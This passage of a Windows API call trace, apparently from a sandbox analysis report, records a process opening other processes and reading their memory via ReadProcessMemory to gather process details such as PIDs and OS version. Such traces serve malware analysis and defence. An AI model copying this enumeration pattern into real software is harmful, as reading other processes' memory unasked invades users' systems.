_Buffer="10.0.19041") returned 10 [0357.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0xa9c [0357.696] GetLastError () returned 0x0 [0357.696] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.696] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.696] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.696] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5226a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.696] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222a8, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.696] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.697] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.697] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x367020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.697] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c60, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.697] malloc (_Size=0x7e) returned 0xe87b80 [0357.697] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522308, lpBuffer=0xe87b80, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87b80*, lpNumberOfBytesRead=0x0) returned 1 [0357.698] free (_Block=0xe87b80) [0357.698] CloseHandle (hObject=0xa9c) returned 1 [0357.698] _ui64tow_s (in: _Value=0xc8c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3212") returned 0x0 [0357.699] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3212") returned 4 [0357.699] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.699] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.700] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8c) returned 0xa9c [0357.700] GetLastError () returned 0x0 [0357.700] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.700] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.700] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.700] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e27b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.700] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2358, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.700] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.701] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.701] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x224020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.701] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1d10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.701] malloc (_Size=0xbc) returned 0xec9480 [0357.701] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e23c4, lpBuffer=0xec9480, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9480*, lpNumberOfBytesRead=0x0) returned 1 [0357.702] free (_Block=0xec9480) [0357.702] CloseHandle (hObject=0xa9c) returned 1 [0357.702] _ui64tow_s (in: _Value=0x7f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2040") returned 0x0 [0357.702] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2040") returned 4 [0357.703] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.703] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.703] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xa9c [0357.703] GetLastError () returned 0x0 [0357.704] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.704] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.704] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.704] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d40, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.704] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.704] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.704] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.704] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x356020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.705] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.705] malloc (_Size=0x62) returned 0xeb60e0 [0357.705] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb60e0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0357.706] free (_Block=0xeb60e0) [0357.706] CloseHandle (hObject=0xa9c) returned 1 [0357.706] _ui64tow_s (in: _Value=0x1048, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4168") returned 0x0 [0357.706] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4168") returned 4 [0357.706] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.706] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.707] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1048) returned 0xa9c [0357.707] GetLastError () returned 0x0 [0357.707] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.707] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.708] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.708] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.708] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.709] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.709] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.709] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x24c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.709] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.709] malloc (_Size=0x84) returned 0xe88120 [0357.709] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622d4, lpBuffer=0xe88120, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88120*, lpNumberOfBytesRead=0x0) returned 1 [0357.710] free (_Block=0xe88120) [0357.710] CloseHandle (hObject=0xa9c) returned 1 [0357.710] _ui64tow_s (in: _Value=0x1050, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4176") returned 0x0 [0357.711] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4176") returned 4 [0357.711] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.711] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.712] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1050) returned 0xa9c [0357.712] GetLastError () returned 0x0 [0357.712] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.712] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.712] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.712] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.712] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.713] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.713] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.713] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x322020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.713] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.713] malloc (_Size=0x6a) returned 0xea8b20 [0357.713] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ba, lpBuffer=0xea8b20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8b20*, lpNumberOfBytesRead=0x0) returned 1 [0357.714] free (_Block=0xea8b20) [0357.714] CloseHandle (hObject=0xa9c) returned 1 [0357.715] _ui64tow_s (in: _Value=0x105c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0357.715] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4188") returned 4 [0357.715] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.715] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.716] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0xa9c [0357.716] GetLastError () returned 0x0 [0357.716] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.716] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.716] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.716] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e26b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.716] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.717] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.717] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.717] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.717] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.717] malloc (_Size=0x8e) returned 0xec73e0 [0357.717] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22de, lpBuffer=0xec73e0, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec73e0*, lpNumberOfBytesRead=0x0) returned 1 [0357.718] free (_Block=0xec73e0) [0357.719] CloseHandle (hObject=0xa9c) returned 1 [0357.719] _ui64tow_s (in: _Value=0x1068, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4200") returned 0x0 [0357.720] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4200") returned 4 [0357.720] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.720] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.723] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1068) returned 0xa9c [0357.723] GetLastError () returned 0x0 [0357.723] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.723] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.727] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.727] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.727] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f2258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.728] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.728] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ab020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.728] malloc (_Size=0x66) returned 0xeb6380 [0357.728] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4f22b6, lpBuffer=0xeb6380, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0357.729] free (_Block=0xeb6380) [0357.730] CloseHandle (hObject=0xa9c) returned 1 [0357.730] _ui64tow_s (in: _Value=0x1080, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0357.730] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4224") returned 4 [0357.730] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.730] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.731] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0xa9c [0357.731] GetLastError () returned 0x0 [0357.731] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.731] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.731] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.732] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e26f0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.732] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.732] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.732] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.732] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x34f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.732] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.733] malloc (_Size=0xa2) returned 0xe95bb0 [0357.733] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22f2, lpBuffer=0xe95bb0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe95bb0*, lpNumberOfBytesRead=0x0) returned 1 [0357.733] free (_Block=0xe95bb0) [0357.733] CloseHandle (hObject=0xa9c) returned 1 [0357.734] _ui64tow_s (in: _Value=0x1088, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0357.734] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4232") returned 4 [0357.734] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.734] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.735] 